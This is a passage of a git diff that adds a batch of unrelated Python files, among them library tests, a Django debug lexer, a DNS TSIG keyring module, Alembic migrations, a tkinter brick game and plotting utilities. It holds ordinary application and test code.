VolumeEncryptionType) + + def test_update(self): + """ + Unit test for VolumeEncryptionTypesManager.update + """ + self.skipTest("Not implemented") + + def test_delete(self): + """ + Unit test for VolumeEncryptionTypesManager.delete + + Verify that one DELETE request is made for encryption type deletion + Verify that encryption type deletion returns None + """ + result = cs.volume_encryption_types.delete(1) + cs.assert_called('DELETE', '/types/1/encryption/provider') + self.assertIsNone(result, "delete result must be None") diff --git a/pool/shard008/Python/0077740_pipeline-hetero-binning-quantile-binning.py b/pool/shard008/Python/0077740_pipeline-hetero-binning-quantile-binning.py new file mode 100644 index 0000000000000000000000000000000000000000..fd76cde989ffa30f57264a2e7e1530e248ba6a1e --- /dev/null +++ b/pool/shard008/Python/0077740_pipeline-hetero-binning-quantile-binning.py @@ -0,0 +1,69 @@ +# +# Copyright 2019 The FATE Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import argparse +import os +import sys + +cur_path = os.path.realpath(__file__) +for i in range(4): + cur_path = os.path.dirname(cur_path) +print(f'fate_path: {cur_path}') +sys.path.append(cur_path) + +from examples.pipeline.hetero_feature_binning import common_tools +from pipeline.utils.tools import load_job_config + + +def main(config="../../config.yaml", namespace=""): + # obtain config + if isinstance(config, str): + config = load_job_config(config) + param = { + "name": "hetero_feature_binning_0", + "method": "quantile", + "compress_thres": 10000, + "head_size": 10000, + "error": 0.001, + "bin_num": 10, + "bin_indexes": -1, + "bin_names": None, + "category_indexes": None, + "category_names": None, + "adjustment_factor": 0.5, + "local_only": False, + "transform_param": { + "transform_cols": -1, + "transform_names": None, + "transform_type": "bin_num" + } + } + pipeline = common_tools.make_normal_dsl(config, namespace, param) + pipeline.fit() + # common_tools.prettify(pipeline.get_component("hetero_feature_binning_0").get_summary()) + # summary = pipeline.get_component("hetero_feature_binning_0").get_summary() + # ivs = {x[0]: x[1] for x in summary["iv"]} + # common_tools.prettify(ivs) + +if __name__ == "__main__": + parser = argparse.ArgumentParser("PIPELINE DEMO") + parser.add_argument("-config", type=str, + help="config file") + args = parser.parse_args() + if args.config is not None: + main(args.config) + else: + main() diff --git a/pool/shard008/Python/0077746_debug.py b/pool/shard008/Python/0077746_debug.py new file mode 100644 index 0000000000000000000000000000000000000000..465d7ff92695b13b555159a60c5cd64a34e78688 --- /dev/null +++ b/pool/shard008/Python/0077746_debug.py @@ -0,0 +1,103 @@ +from django.template.base import Lexer, Parser, tag_re, NodeList, VariableNode, TemplateSyntaxError +from django.utils.encoding import force_text +from django.utils.html import conditional_escape +from django.utils.safestring import SafeData, EscapeData +from django.utils.formats import localize +from django.utils.timezone import template_localtime + + +class DebugLexer(Lexer): + def __init__(self, template_string, origin): + super(DebugLexer, self).__init__(template_string, origin) + + def tokenize(self): + "Return a list of tokens from a given template_string" + result, upto = [], 0 + for match in tag_re.finditer(self.template_string): + start, end = match.span() + if start > upto: + result.append(self.create_token(self.template_string[upto:start], (upto, start), False)) + upto = start + result.append(self.create_token(self.template_string[start:end], (start, end), True)) + upto = end + last_bit = self.template_string[upto:] + if last_bit: + result.append(self.create_token(last_bit, (upto, upto + len(last_bit)), False)) + return result + + def create_token(self, token_string, source, in_tag): + token = super(DebugLexer, self).create_token(token_string, in_tag) + token.source = self.origin, source + return token + + +class DebugParser(Parser): + def __init__(self, lexer): + super(DebugParser, self).__init__(lexer) + self.command_stack = [] + + def enter_command(self, command, token): + self.command_stack.append((command, token.source)) + + def exit_command(self): + self.command_stack.pop() + + def error(self, token, msg): + return self.source_error(token.source, msg) + + def source_error(self, source, msg): + e = TemplateSyntaxError(msg) + e.django_template_source = source + return e + + def create_nodelist(self): + return DebugNodeList() + + def create_variable_node(self, contents): + return DebugVariableNode(contents) + + def extend_nodelist(self, nodelist, node, token): + node.source = token.source + super(DebugParser, self).extend_nodelist(nodelist, node, token) + + def unclosed_block_tag(self, parse_until): + command, source = self.command_stack.pop() + msg = "Unclosed tag '%s'. Looking for one of: %s " % (command, ', '.join(parse_until)) + raise self.source_error(source, msg) + + def compile_filter_error(self, token, e): + if not hasattr(e, 'django_template_source'): + e.django_template_source = token.source + + def compile_function_error(self, token, e): + if not hasattr(e, 'django_template_source'): + e.django_template_source = token.source + + +class DebugNodeList(NodeList): + def render_node(self, node, context): + try: + return node.render(context) + except Exception as e: + if not hasattr(e, 'django_template_source'): + e.django_template_source = node.source + raise + + +class DebugVariableNode(VariableNode): + def render(self, context): + try: + output = self.filter_expression.resolve(context) + output = template_localtime(output, use_tz=context.use_tz) + output = localize(output, use_l10n=context.use_l10n) + output = force_text(output) + except UnicodeDecodeError: + return '' + except Exception as e: + if not hasattr(e, 'django_template_source'): + e.django_template_source = self.source + raise + if (context.autoescape and not isinstance(output, SafeData)) or isinstance(output, EscapeData): + return conditional_escape(output) + else: + return output diff --git a/pool/shard008/Python/0077747_day_17.py b/pool/shard008/Python/0077747_day_17.py new file mode 100644 index 0000000000000000000000000000000000000000..780f558f1fc5c8a6b4a8463b4558423a4a081eb0 --- /dev/null +++ b/pool/shard008/Python/0077747_day_17.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 + +import itertools + + +def combinations(containers, maximum): + for i, container in enumerate(containers): + if container > maximum: + continue + yield [container] + for combination in combinations(containers[i+1:], maximum - container): + yield itertools.chain([container], combination) + + +def eggnog(part=1): + containers = list(map(int, open("day_17.txt").read().strip().split("\n"))) + containers = list(filter(lambda c: sum(c) == 150, map(list, combinations(containers, 150)))) + if part == 1: + return len(containers) + else: + minumum = min(list(map(len, containers))) + return len(list(filter(lambda c: len(c) == minumum, containers))) + + +print("Day 17, Part 1 - Eggnog:", eggnog(1)) +print("Day 17, Part 2 - Eggnog (minimum containers):", eggnog(2)) diff --git a/pool/shard008/Python/0077753_jshint.py b/pool/shard008/Python/0077753_jshint.py new file mode 100644 index 0000000000000000000000000000000000000000..092635f6349d1392b0a0f94fe284ccd13d82078a --- /dev/null +++ b/pool/shard008/Python/0077753_jshint.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +# The MIT License (MIT) + +# Copyright (c) 2014 Emiliano D'Alterio + +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: + +# The above copyright notice and this permission notice shall be included +# in all copies or substantial portions of the Software. + +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import os +import commands as COM +import xml.etree.ElementTree as ET +import htmlout as HO + +(jshint_status, jshint_path) = COM.getstatusoutput('which jshint') +file_path = os.environ['TM_FILEPATH'] + +if jshint_status != 0: + HO.printHeader('Error: jshint NOT FOUND.') +elif os.stat(file_path).st_size == 0: + HO.printHeader('Error: FILE IS EMPTY.') +else: + xmlOutput = COM.getoutput( + '%s --reporter=jslint %s' % (jshint_path, file_path)) + root = ET.fromstring(xmlOutput) + file = root.find('file') + + if file is None: + HO.printHeader('jshint: No errors in ', file_path) + else: + root = ET.fromstring(xmlOutput) + file = root.find('file') + issues = file.findall('issue') + + HO.printHeader('jshint: There are problems in ', file_path) + + for i in issues: + HO.printErrorMsg(file_path, i.get('line'), + i.get('char'), i.get('reason'), + i.get('evidence'), i.get('severity')) + +HO.printFooter() diff --git a/pool/shard008/Python/0077760_tsigkeyring.py b/pool/shard008/Python/0077760_tsigkeyring.py new file mode 100644 index 0000000000000000000000000000000000000000..01f87027c71472f5958f4681198eb7f0aa6e25ee --- /dev/null +++ b/pool/shard008/Python/0077760_tsigkeyring.py @@ -0,0 +1,48 @@ +# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. +# +# Permission to use, copy, modify, and distribute this software and its +# documentation for any purpose with or without fee is hereby granted, +# provided that the above copyright notice and this permission notice +# appear in all copies. +# +# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES +# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR +# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT +# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +"""A place to store TSIG keys.""" + +from dns._compat import maybe_decode, maybe_encode + +import base64 + +import dns.name + + +def from_text(textring): + """Convert a dictionary containing (textual DNS name, base64 secret) pairs + into a binary keyring which has (dns.name.Name, binary secret) pairs. + @rtype: dict""" + + keyring = {} + for keytext in textring: + keyname = dns.name.from_text(keytext) + secret = base64.decodestring(maybe_encode(textring[keytext])) + keyring[keyname] = secret + return keyring + + +def to_text(keyring): + """Convert a dictionary containing (dns.name.Name, binary secret) pairs + into a text keyring which has (textual DNS name, base64 secret) pairs. + @rtype: dict""" + + textring = {} + for keyname in keyring: + keytext = maybe_decode(keyname.to_text()) + secret = maybe_decode(base64.encodestring(keyring[keyname])) + textring[keytext] = secret + return textring diff --git a/pool/shard008/Python/0077761_errorpages.py b/pool/shard008/Python/0077761_errorpages.py new file mode 100644 index 0000000000000000000000000000000000000000..d86d0e5b6a41a0d1de7f5fbaf206f999fa9f2b4f --- /dev/null +++ b/pool/shard008/Python/0077761_errorpages.py @@ -0,0 +1,68 @@ +from django.http import JsonResponse +from django.shortcuts import render +from django.utils.translation import ugettext as _ + +from misago.core.utils import is_request_to_misago +from misago.admin.views.errorpages import admin_error_page, admin_csrf_failure + + +def _ajax_error(code=406, message=None): + return JsonResponse({'detail': message}, status=code) + + +@admin_error_page +def _error_page(request, code, message=None): + response = render(request, + 'misago/errorpages/%s.html' % code, + {'message': message}) + response.status_code = code + return response + + +def permission_denied(request, message=None): + if request.is_ajax(): + return _ajax_error(403, message or _("Permission denied.")) + else: + return _error_page(request, 403, message) + + +def page_not_found(request): + if request.is_ajax(): + return _ajax_error(404, "Not found.") + else: + return _error_page(request, 404) + + +@admin_csrf_failure +def csrf_failure(request, reason=""): + if request.is_ajax(): + return _ajax_error(403, _("Request authentication is invalid.")) + else: + response = render(request, 'misago/errorpages/csrf_failure.html') + response.status_code = 403 + return response + + +def not_allowed(request): + response = render(request, 'misago/errorpages/405.html') + response.status_code = 405 + return response + + +# Decorators for custom error page handlers +def shared_403_exception_handler(f): + def page_decorator(request, *args, **kwargs): + if is_request_to_misago(request): + return permission_denied(request) + else: + return f(request, *args, **kwargs) + return page_decorator + + +def shared_404_exception_handler(f): + def page_decorator(request, *args, **kwargs): + if is_request_to_misago(request): + return page_not_found(request) + else: + return f(request, *args, **kwargs) + return page_decorator diff --git a/pool/shard008/Python/0077767_length_filter.py b/pool/shard008/Python/0077767_length_filter.py new file mode 100644 index 0000000000000000000000000000000000000000..fb98f0f4ba3b942a24c115242f256602eccc7f36 --- /dev/null +++ b/pool/shard008/Python/0077767_length_filter.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +import sys +import os + +from itertools import starmap, chain, ifilter, imap +from seqio import iteratorFromExtension, seqlen, recordToString +from nucio import fileIterator +from args import parseArgs, getHelpStr, CLArgument + + +description = ("Usage: length_filter.py [options] min_length(int) in1.{fa.fq} [in2.{fa,fq} ...]\n\n" + "Filter reads by their lengths") + +argument_list = [["maxlen", "maxlen", int, -1, "Maximum length of reads"]] + +arguments = map(CLArgument._make, argument_list) + +if not len(sys.argv) > 2: + sys.exit(getHelpStr(description, arguments) +"\n") + +(p_arg_map, args_remaining) = parseArgs(sys.argv[1:], arguments) + + +minlen = int(args_remaining[0]) + +files = args_remaining[1:] + +if not all(map(os.path.exists,files)): + sys.exit("Not all files exist") + +file_readers = starmap(fileIterator, zip(files, map(iteratorFromExtension, files))) + +filt_cond = lambda record : seqlen(record) > minlen +if p_arg_map["maxlen"] > 1: + filt_cond = lambda record: seqlen(record) > minlen and seqlen(record) <= p_arg_map["maxlen"] + +filtered_records = ifilter(filt_cond, chain.from_iterable(file_readers)) + +filtered_seqs = imap(recordToString, filtered_records) + +for seq in filtered_seqs: + print seq + + diff --git a/pool/shard008/Python/0077770_33de094da890_.py b/pool/shard008/Python/0077770_33de094da890_.py new file mode 100644 index 0000000000000000000000000000000000000000..a4ca3810e025f58806f6472e0cc629bae7abc7fc --- /dev/null +++ b/pool/shard008/Python/0077770_33de094da890_.py @@ -0,0 +1,31 @@ +"""Adding the ability to specify certificate replacements + +Revision ID: 33de094da890 +Revises: ed422fc58ba +Create Date: 2015-11-30 15:40:19.827272 + +""" + +# revision identifiers, used by Alembic. +revision = '33de094da890' +down_revision = 'ed422fc58ba' + +from alembic import op +import sqlalchemy as sa +from sqlalchemy.dialects import postgresql + +def upgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.create_table('certificate_replacement_associations', + sa.Column('replaced_certificate_id', sa.Integer(), nullable=True), + sa.Column('certificate_id', sa.Integer(), nullable=True), + sa.ForeignKeyConstraint(['certificate_id'], ['certificates.id'], ondelete='cascade'), + sa.ForeignKeyConstraint(['replaced_certificate_id'], ['certificates.id'], ondelete='cascade') + ) + ### end Alembic commands ### + + +def downgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.drop_table('certificate_replacement_associations') + ### end Alembic commands ### diff --git a/pool/shard008/Python/0077773_gameworld04.py b/pool/shard008/Python/0077773_gameworld04.py new file mode 100644 index 0000000000000000000000000000000000000000..02971355bcc099a5d317dd940c693c058e29ea24 --- /dev/null +++ b/pool/shard008/Python/0077773_gameworld04.py @@ -0,0 +1,131 @@ +import tkinter as tk + +class World(tk.Frame): + + def __init__(self, master): + super(World, self).__init__(master) + self.lives = 3 + self.width = 605 + self.height = 400 + self.canvas = tk.Canvas(self, bg = "#000000", width = self.width, height = self.height) + self.canvas.pack() + self.pack() + + self.items = {} + self.ball = None + self.paddle = Paddle(self.canvas, self.width/2, 326) + self.items[self.paddle.item] = self.paddle + for x in range(5, self.width - 5, 75): + self.add_brick(x + 37.5, 50, 3) + self.add_brick(x + 37.5, 70, 2) + self.add_brick(x + 37.5, 90, 1) + self.hud = None + self.setup_game() + self.canvas.focus_set() + self.canvas.bind("", lambda _: self.paddle.move(-10)) + self.canvas.bind("", lambda _: self.paddle.move(10)) + + def setup_game(self): + self.add_ball() + self.update_lives_text() + self.text = self.draw_text(300, 200, "Press Space to start") + self.canvas.bind("", lambda _: self.start_game()) + + def add_ball(self): + if self.ball is not None: + self.ball.delete() + paddle_coords = self.paddle.get_position() + x = (paddle_coords[0] + paddle_coords[2])*0.5 + self.ball = Ball(self.canvas, x, 310) + self.paddle.set_ball(self.ball) + + def add_brick(self, x, y, hits): + brick = Brick(self.canvas, x, y, hits) + self.items[brick.item] = brick + + def draw_text(self, x, y, text, size = "40"): + font = ("Helvetica", size) + return self.canvas.create_text(x, y, text = text, font = font, fill = "#ffffff") + + def update_lives_text(self): + text = "Lives: %s" %self.lives + if self.hud is None: + self.hud = self.draw_text(50, 20, text, 15) + else: + self.canvas.itemconfig(self.hud, text = text) + + def start_game(self): + pass + + +class Actor(object): + + def __init__(self, canvas, item): + self.canvas = canvas + self.item = item + + def get_position(self): + return self.canvas.coords(self.item) + + def move(self, x, y): + self.canvas.move(self.item, x, y) + + def delete(self): + self.canvas.delete(self.item) + + +class Ball(Actor): + + def __init__(self, canvas, x, y): + self.radius = 10 + self.direction = [1, -1] + self.speed = 10 + item = canvas.create_oval(x - self.radius, y - self.radius, + x + self.radius, y + self.radius, + fill = "#ffff64") + super(Ball, self).__init__(canvas, item) + + +class Paddle(Actor): + + def __init__(self, canvas, x, y): + self.width = 80 + self.height = 10 + self.ball = None + item = canvas.create_rectangle(x - self.width/2, y - self.height/2, + x + self.width/2, y + self.height/2, + fill = "#ff9664") + super(Paddle, self).__init__(canvas, item) + + def set_ball(self, ball): + self.ball = ball + + def move(self, offset): + coords = self.get_position() + width = self.canvas.winfo_width() + if coords[0] + offset >= 0 and coords[2] + offset <= width: + super(Paddle, self).move(offset, 0) + if self.ball is not None: + self.ball.move(offset, 0) + + +class Brick(Actor): + + COLORS = {1: "#64ff96", 2: "#ff6496", 3: "#9664ff"} + + def __init__(self, canvas, x, y, hits): + self.width = 75 + self.height = 20 + self.hits = hits + color = Brick.COLORS[hits] + item = canvas.create_rectangle(x - self.width/2, y - self.height/2, + x + self.width/2, y + self.height/2, + fill = color, tags = "brick") + super(Brick, self).__init__(canvas, item) + + def hit(self): + self.hits -= 1 + if self.hits == 0: + self.delete() + else: + self.canvas.itemconfig(self.item, fill = Brick.COLORS[self.hits]) diff --git a/pool/shard008/Python/0077774_utils.py b/pool/shard008/Python/0077774_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..0dd72545b736d131f3393af162a833787c58463e --- /dev/null +++ b/pool/shard008/Python/0077774_utils.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 + +import matplotlib as mpl +import matplotlib.pyplot as plt +import numpy as np +import tempfile +import os +import subprocess + +class MidpointNorm(mpl.colors.Normalize): + '''Warp the colormap so that more of the available colors are used on the range of interesting data. + + Half of the color map is used for values which fall below the midpoint, + and half are used for values which fall above. + This can be used to draw attention to smaller differences at the extreme + ends of the observed values. + + based on: + - http://scikit-learn.org/stable/auto_examples/svm/plot_rbf_parameters.html + - https://matplotlib.org/users/colormapnorms.html + ''' + def __init__(self, vmin, vmax, midpoint, res=100, clip=False): + ''' + Args: + vmin: the minimum possible z/height value + vmax: the maximum possible z/height value + midpoint: the value to 'center' around + res: the 'resolution' ie number of distinct levels in the colorbar + clip: whether to clip the z values to [0,1] if they lie outside [vmin, vmax] + + Note: according to `mpl.colors.Normalize` documentation: If vmin or vmax + is not given, they are initialized from the minimum and maximum + value respectively of the first input processed. + ''' + super().__init__(vmin, vmax, clip) + self.midpoint = midpoint + self.res = res + + def __call__(self, value, clip=None): + x, y = [self.vmin, self.midpoint, self.vmax], [0, 0.5, 1] + return np.ma.masked_array(np.interp(value, x, y)) + + def levels(self): + ''' + Returns: + a numpy array for the values where the boundaries between the colors + should be placed. + ''' + return np.concatenate(( + np.linspace(self.vmin, self.midpoint, num=self.res/2, endpoint=False), + np.linspace(self.midpoint, self.vmax, num=self.res/2))) + + +def save_animation(figs, filename, time_per_frame=500): + '''save a list of figures to an animated gif or a video format such as mp4 + + Note: the figures will be closed by this function + + Note: requires the command line tool `convert` (part of ImageMagick) + + Tip: mp4 is roughly half the size of gif + + Tip: pass a generator instead of a list so that they can be rendered lazily + (otherwise matplotlib gives a warning about having lots of figures open at + once), for example: + + figs = (tp.plot_trial_1D(rec, param='x', trial_num=n) for n, _ in rec.get_sorted_trials()) + tp.save_animation(figs, 'out.mp4') + + Args: + figs (iterable): a list of matplotlib figures + filename (str): the filename to save to. Can be `.gif` or `.mp4` etc + time_per_frame (int): milliseconds to display each frame for + ''' + with tempfile.TemporaryDirectory() as tmp: # deleted after use + filenames = [] + for i, fig in enumerate(figs): + fig_filename = os.path.join(tmp, 'frame_{:02d}.png'.format(i)) + fig.savefig(fig_filename, bbox_inches='tight') + plt.close(fig) + filenames.append(fig_filename) + print(fig_filename) + + delay = int(time_per_frame/10) # delay is in chunks of 10ms + args = ['convert', '-delay', str(delay), '-background', 'white', '-alpha', 'remove'] + args += filenames + args += [filename] + subprocess.call(args) + print('{} written'.format(filename)) + diff --git a/pool/shard008/Python/0077776_models.py b/pool/shard008/Python/0077776_models.py new file mode 100644 index 0000000000000000000000000000000000000000..285482143e99fcf5224b8196d27063eef5bdf45e --- /dev/null +++ b/pool/shard008/Python/0077776_models.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python2.7 +import sys +from sqlalchemy import Table, Column, Integer, String, ForeignKey, Sequence +from sqlalchemy.ext.declarative import declarative_base +from sqlalchemy.orm import relationship, backref + +Base = declarative_base() + +def init_db(): + Base.metadata.create_all(engine) + +def drop_db(): + Base.metadata.drop_all(engine) + +''' +Models: DRGlance, DRNova, DRNeutronNet, DRNeutronSubnet, +DRNeutronPort, DRNeutronFloatingip, DRNeutronRouter +''' +class DRGlance(Base): + ''' + Model class DRGlance + ''' + __tablename__ = "dr_glance" + + id = Column(Integer, Sequence('dr_glance_id_seq'), primary_key = True) + primary_uuid = Column(String(50)) + secondary_uuid = Column(String(50)) + status = Column(String(20)) + other = Column(String(50)) + + def __repr__(self): + return "" % (self.primary_uuid, self.secondary_uuid, self.status, self.other) + +class DRNova(Base): + ''' + Model Class DRNova + ''' + __tablename__ = "dr_nova" + + id = Column(Integer, Sequence('dr_nova_id_seq'), primary_key = True) + primary_instance_uuid = Column(String(50)) + secondary_instance_uuid = Column(String(50)) + primary_image_uuid = Column(String(50)) + secondary_image_uuid = Column(String(50)) + primary_node_name = Column(String(50)) + secondary_node_name = Column(String(50)) + status = Column(String(20)) + other = Column(String(50)) + + ports = relationship("DRNeutronPort", backref='dr_nova', cascade="all, delete-orphan", passive_deletes=True) + + def __repr__(self): + return "" % \ + (self.primary_instance_uuid, self.secondary_instance_uuid, self.primary_image_uuid, self.secondary_image_uuid, self.primary_node_name,\ + self.secondary_node_name, self.status, self.other) + + +class DRNeutronNet(Base): + ''' + Model class DRNeutronNet + ''' + __tablename__ = "dr_neutron_net" + + id = Column(Integer, Sequence('dr_neutron_net_id_seq'), primary_key = True) + primary_uuid = Column(String(50)) + secondary_uuid = Column(String(50)) + status = Column(String(20)) + deleted_flag = Column(String(2)) + other = Column(String(50)) + + def __repr__(self): + return "" %\ + (self.primary_uuid, self.secondary_uuid, self.status, self.deleted_flag, self.other) + +class DRNeutronSubnet(Base): + ''' + Model class DRNeutronSubnet. + ''' + __tablename__ = "dr_neutron_subnet" + + id = Column(Integer, Sequence('dr_neutron_subnet_id_seq'), primary_key = True) + primary_uuid = Column(String(50)) + secondary_uuid = Column(String(50)) + status = Column(String(20)) + deleted_flag = Column(String(2)) + # network_id relate to DRNeutron.secondary_uuid + network_id = Column(String(50)) + other = Column(String(50)) + + def __repr__(self): + return "" %\ + (self.network_id, self.primary_uuid, self.secondary_uuid, self.status, self.deleted_flag, self.other) + +class DRNeutronPort(Base): + ''' + Model Class DRNeutronPort. + ''' + __tablename__ = "dr_neutron_port" + id = Column(Integer, Sequence('dr_neutron_port_id_seq'), primary_key = True) + primary_uuid = Column(String(50)) + secondary_uuid = Column(String(50)) + primary_floatingip_uuid = Column(String(50)) + secondary_floatingip_uuid = Column(String(50)) + primary_floating_ip_address = Column(String(30)) + secondary_floating_ip_address = Column(String(30)) + deleted_flag = Column(String(2)) + other = Column(String(50)) + + nova_id = Column(Integer, ForeignKey('dr_nova.id', ondelete='CASCADE')) + + def __repr__(self): + return "" %\ + (self.primary_uuid, self.secondary_uuid,self.primary_floatingip_uuid,self.secondary_floatingip_uuid,self.floating_ip_address, self.deleted_flag, self.other) + +class DRNeutronRouter(Base): + ''' + Model Class DRNeutronRouter. + ''' + __tablename__ = "dr_neutron_router" + id = Column(Integer, Sequence('dr_neutron_router_id_seq'), primary_key = True) + primary_uuid = Column(String(50)) + secondary_uuid = Column(String(50)) + other = Column(String(50)) + + def __repr__(self): + return "" %\ + (self.primary_uuid, self.secondary_uuid,self.other) + + +class DRNeutronFloatingip(Base): + ''' + Model Class DRNeutronFloatingip. + ''' + __tablename__ = "dr_neutron_floatingip" + id = Column(Integer, Sequence('dr_neutron_floatingip_id_seq'), primary_key = True) + primary_uuid = Column(String(50)) + secondary_uuid = Column(String(50)) + other = Column(String(50)) + + + diff --git a/pool/shard008/Python/0077780_test_model.py b/pool/shard008/Python/0077780_test_model.py new file mode 100644 index 0000000000000000000000000000000000000000..ece7f6cc9f6b24f172742405c04773f88ba6ab1f --- /dev/null +++ b/pool/shard008/Python/0077780_test_model.py @@ -0,0 +1,180 @@ +import pytest + +from bokeh.core.properties import Int, String, Float, Instance, List, Any +from bokeh.io import curdoc +from bokeh.model import Model, _ModelInEmptyDocument +from bokeh.models.callbacks import CustomJS +from bokeh.plotting import figure + +def test_model_in_empty_document_sets_a_new_document_on_model_and_then_restores(): + doc = curdoc() + plot = figure() + doc.add_root(plot) + assert plot._document == doc + + # Check new document has been used + with _ModelInEmptyDocument(plot) as modded_plot: + assert modded_plot._document != doc + + # Check old document is replaced + assert plot._document == doc + + +def test_model_in_empty_document_unsets_curdoc_on_model_references_and_then_restores(): + doc = curdoc() + plot = figure() + doc.add_root(plot) + refs = plot.references() + a_ref = next(iter(refs)) + assert a_ref._document == doc + + # Check new document has been used + with _ModelInEmptyDocument(plot) as modded_plot: + # Note we've checked above that modded_plot doc is not curdoc + assert a_ref._document == modded_plot._document + + # Check old document is replaced + assert a_ref._document == doc + +def test_Model_pretty(): + class Foo1(Model): + pass + + assert Foo1(id='1').pretty() == "bokeh.tests.test_model.Foo1(id='1', js_callbacks={}, name=None, tags=[])" + + class Foo2(Model): + a = Int(12) + b = String("hello") + c = List(Int, [1, 2, 3]) + + assert Foo2(id='xyz').pretty() == """\ +bokeh.tests.test_model.Foo2( + id='xyz', + a=12, + b='hello', + c=[1, 2, 3], + js_callbacks={}, + name=None, + tags=[])""" + + class Foo3(Model): + a = Int(12) + b = String("hello") + c = List(Int, [1, 2, 3]) + d = Float(None) + + assert Foo3(id='xyz').pretty() == """\ +bokeh.tests.test_model.Foo3( + id='xyz', + a=12, + b='hello', + c=[1, 2, 3], + d=None, + js_callbacks={}, + name=None, + tags=[])""" + + class Foo4(Model): + a = Int(12) + b = String("hello") + c = List(Int, [1, 2, 3]) + d = Float(None) + e = Instance(Foo2, lambda: Foo2(id='xyz')) + + assert Foo4(id='xyz').pretty() == """\ +bokeh.tests.test_model.Foo4( + id='xyz', + a=12, + b='hello', + c=[1, 2, 3], + d=None, + e=bokeh.tests.test_model.Foo2( + id='xyz', + a=12, + b='hello', + c=[1, 2, 3], + js_callbacks={}, + name=None, + tags=[]), + js_callbacks={}, + name=None, + tags=[])""" + + class Foo5(Model): + foo6 = Any # can't use Instance(".tests.test_model.Foo6") + + class Foo6(Model): + foo5 = Instance(Foo5) + + f5 = Foo5(id='xyz') + f6 = Foo6(id='uvw', foo5=f5) + f5.foo6 = f6 + + assert f5.pretty() == """\ +bokeh.tests.test_model.Foo5( + id='xyz', + foo6=bokeh.tests.test_model.Foo6( + id='uvw', + foo5=bokeh.tests.test_model.Foo5(id='xyz', ...), + js_callbacks={}, + name=None, + tags=[]), + js_callbacks={}, + name=None, + tags=[])""" + +class SomeModel(Model): + a = Int(12) + b = String("hello") + c = List(Int, [1, 2, 3]) + +def test_model_js_on_change_exception_for_no_callbacks(): + m = SomeModel() + with pytest.raises(ValueError): + m.js_on_change('foo') + +def test_model_js_on_change_exception_for_bad_callbacks(): + m = SomeModel() + for val in [10, "bar", None, [1], {}, 10.2]: + with pytest.raises(ValueError): + m.js_on_change('foo', val) + +def test_model_js_on_change_with_propname(): + cb = CustomJS(code="") + m0 = SomeModel() + for name in m0.properties(): + m = SomeModel() + m.js_on_change(name, cb) + assert m.js_callbacks == {"change:%s" % name: [cb]} + +def test_model_js_on_change_with_non_propname(): + cb = CustomJS(code="") + m1 = SomeModel() + m1.js_on_change('foo', cb) + assert m1.js_callbacks == {"foo": [cb]} + + m2 = SomeModel() + m2.js_on_change('change:b', cb) + assert m2.js_callbacks == {"change:b": [cb]} + +def test_model_js_on_change_with_multple_callbacks(): + cb1 = CustomJS(code="") + cb2 = CustomJS(code="") + m = SomeModel() + m.js_on_change('foo', cb1, cb2) + assert m.js_callbacks == {"foo": [cb1, cb2]} + +def test_model_js_on_change_with_multple_callbacks_separately(): + cb1 = CustomJS(code="") + cb2 = CustomJS(code="") + m = SomeModel() + m.js_on_change('foo', cb1) + assert m.js_callbacks == {"foo": [cb1]} + m.js_on_change('foo', cb2) + assert m.js_callbacks == {"foo": [cb1, cb2]} + +def test_model_js_on_change_ignores_dupe_callbacks(): + cb = CustomJS(code="") + m = SomeModel() + m.js_on_change('foo', cb, cb) + assert m.js_callbacks == {"foo": [cb]} diff --git a/pool/shard008/Python/0077781_migration.py b/pool/shard008/Python/0077781_migration.py new file mode 100644 index 0000000000000000000000000000000000000000..c945806fbcfdbe401485238a23099c71ab71dcd4 --- /dev/null +++ b/pool/shard008/Python/0077781_migration.py @@ -0,0 +1,278 @@ +# coding: utf-8 +# +# Copyright (c) 2013 OpenStack Foundation +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under 